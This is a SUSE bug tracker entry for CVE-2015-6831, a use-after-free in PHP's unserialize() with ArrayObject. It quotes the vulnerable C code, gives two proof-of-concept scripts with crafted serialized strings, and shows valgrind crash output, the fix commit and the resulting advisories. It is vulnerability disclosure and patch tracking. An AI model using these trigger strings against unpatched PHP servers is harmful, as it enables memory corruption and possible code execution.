Bug 942291 - (CVE-2015-6831) VUL-0: CVE-2015-6831: php5,php53: Use After Free Vulnerability in unserialize() with SPLArrayObject
(CVE-2015-6831)
VUL-0: CVE-2015-6831: php5,php53: Use After Free Vulnerability in unserialize...
Status: RESOLVED FIXED
: 945188 (view as bug list)
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P2 - High : Major
: ---
Assigned To: Security Team bot
Security Team bot
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2015-08-19 09:19 UTC by Marcus Meissner
Modified: 2019-06-16 14:37 UTC (History)
3 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
testcase (248 bytes, application/x-php)
2015-08-20 07:26 UTC, Petr Gajdos
Details
testcase (323 bytes, application/x-php)
2015-08-20 07:26 UTC, Petr Gajdos
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Marcus Meissner 2015-08-19 09:19:51 UTC
no cve yet?

https://bugs.php.net/bug.php?id=70166

Description:
------------
```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		zval_ptr_dtor(&pflags);
		goto outexcept;
	}

	--p; /* for ';' */
	flags = Z_LVAL_P(pflags);
	zval_ptr_dtor(&pflags);  ===>  free memory
	
	...
	
	if (*p!='m') {
		if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
			goto outexcept;
		}
		intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
		zval_ptr_dtor(&intern->array);
		ALLOC_INIT_ZVAL(intern->array);
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {  ===> use freed memory and double-free it via crafted serialized string.
			goto outexcept;
		}
	}
	
	...
	
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {  ===>  control and use freed memory via R: or r:
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}
```

&pflags was be freed, but we can use that already freed memory and double-free it via crafted serialized string. ex: DateInterval::__wakeup() and other objects.

so we can control and use that doubles freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC1 REPRODUCER:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

PoC2 RERPRODUCER:
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'ryat';
	}
}

$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
Comment 1 Petr Gajdos 2015-08-20 07:26:14 UTC
Created attachment 644429 [details]
testcase
Comment 2 Petr Gajdos 2015-08-20 07:26:56 UTC
Created attachment 644430 [details]
testcase
Comment 3 Petr Gajdos 2015-08-20 07:33:32 UTC
Tested on 13.2:

BEFORE

$ USE_ZEND_ALLOC=0 valgrind php test2.php
==22189== Memcheck, a memory error detector
==22189== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==22189== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==22189== Command: php test2.php
==22189== 
==22189== Invalid read of size 4
==22189==    at 0x67A5D1: php_var_unserialize (in /usr/bin/php)
==22189==    by 0x572E90: ??? (in /usr/bin/php)
==22189==    by 0x67A417: php_var_unserialize (in /usr/bin/php)
==22189==    by 0x5FE0F2: ??? (in /usr/bin/php)
==22189==    by 0x7153FF: zend_call_function (in /usr/bin/php)
==22189==    by 0x73E1D4: zend_call_method (in /usr/bin/php)
[..]
==22189== ERROR SUMMARY: 29 errors from 25 contexts (suppressed: 0 from 0)
$

AFTER

$ USE_ZEND_ALLOC=0 valgrind php test2.php
==27609== Memcheck, a memory error detector
==27609== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
[..]
==27610== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
$


Similarly to test1.php
Comment 4 Petr Gajdos 2015-08-20 07:46:34 UTC
11 seems not to be affected:

$ USE_ZEND_ALLOC=0 valgrind php test1.php
==711== Memcheck, a memory error detector.
[...]
PHP Warning:  Class ArrayObject has no unserializer in /942291/test2.php on line 14
PHP Notice:  unserialize(): Error at offset 17 of 77 bytes in /942291/test2.php on line 14
[...]
==711== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 2 from 1)
$
Comment 5 Petr Gajdos 2015-08-20 07:59:50 UTC
11sp3 is affected:

$ php test1.php
PHP Notice:  Object of class DateInterval could not be converted to int in /942291/test1.php on line 4
object(ArrayObject)#1 (2) {
  [0]=>
  array(5) {
    [0]=>
    string(3) "hi0"
    [1]=>
    string(3) "hi1"
    [2]=>
    string(3) "hi2"
    [3]=>
    string(3) "hi3"
    [4]=>
    string(3) "hi4"
  }
  ["storage":"ArrayObject":private]=>
  int(1)
}
Segmentation fault
$
Comment 6 Petr Gajdos 2015-08-20 08:01:20 UTC
commit:
http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3

Waiting for CVE.
Comment 10 Petr Gajdos 2015-09-10 09:21:58 UTC
*** Bug 945188 has been marked as a duplicate of this bug. ***
Comment 11 Petr Gajdos 2015-09-10 11:05:09 UTC
CVE-2015-6831
Comment 13 Petr Gajdos 2015-09-11 06:48:47 UTC
Needinfo provided.
Comment 17 Swamp Workflow Management 2015-09-25 09:09:57 UTC
openSUSE-SU-2015:1628-1: An update that solves 8 vulnerabilities and has one errata is now available.

Category: security (important)
Bug References: 942291,942293,942294,942295,942296,945402,945403,945412,945428
CVE References: CVE-2015-6831,CVE-2015-6832,CVE-2015-6833,CVE-2015-6834,CVE-2015-6835,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838
Sources used:
openSUSE 13.2 (src):    php5-5.6.1-36.1
openSUSE 13.1 (src):    php5-5.4.20-67.1
Comment 18 Swamp Workflow Management 2015-09-25 13:10:25 UTC
SUSE-SU-2015:1633-1: An update that solves 8 vulnerabilities and has three fixes is now available.

Category: security (important)
Bug References: 935074,942291,942293,942294,942295,942296,944302,945402,945403,945412,945428
CVE References: CVE-2015-6831,CVE-2015-6832,CVE-2015-6833,CVE-2015-6834,CVE-2015-6835,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838
Sources used:
SUSE Linux Enterprise Software Development Kit 12 (src):    php5-5.5.14-36.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-36.1
Comment 21 Swamp Workflow Management 2015-10-26 14:10:29 UTC
SUSE-SU-2015:1818-1: An update that solves 5 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 935074,942291,942294,942295,942296,945412,945428
CVE References: CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838
Sources used:
SUSE Linux Enterprise Software Development Kit 11-SP4 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Software Development Kit 11-SP3 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Server for VMWare 11-SP3 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Server 11-SP4 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Server 11-SP3 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    php53-5.3.17-48.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    php53-5.3.17-48.1
Comment 22 Marcus Meissner 2016-02-10 07:21:45 UTC
released
Comment 23 Swamp Workflow Management 2016-06-21 11:16:35 UTC
SUSE-SU-2016:1638-1: An update that fixes 85 vulnerabilities is now available.

Category: security (important)
Bug References: 884986,884987,884989,884990,884991,884992,885961,886059,886060,893849,893853,902357,902360,902368,910659,914690,917150,918768,919080,921950,922451,922452,923945,924972,925109,928506,928511,931421,931769,931772,931776,933227,935074,935224,935226,935227,935229,935232,935234,935274,935275,938719,938721,942291,942296,945412,945428,949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162
CVE References: CVE-2004-1019,CVE-2006-7243,CVE-2014-0207,CVE-2014-3478,CVE-2014-3479,CVE-2014-3480,CVE-2014-3487,CVE-2014-3515,CVE-2014-3597,CVE-2014-3668,CVE-2014-3669,CVE-2014-3670,CVE-2014-4049,CVE-2014-4670,CVE-2014-4698,CVE-2014-4721,CVE-2014-5459,CVE-2014-8142,CVE-2014-9652,CVE-2014-9705,CVE-2014-9709,CVE-2014-9767,CVE-2015-0231,CVE-2015-0232,CVE-2015-0273,CVE-2015-1352,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3152,CVE-2015-3329,CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4116,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644,CVE-2015-5161,CVE-2015-5589,CVE-2015-5590,CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php53-5.3.17-47.1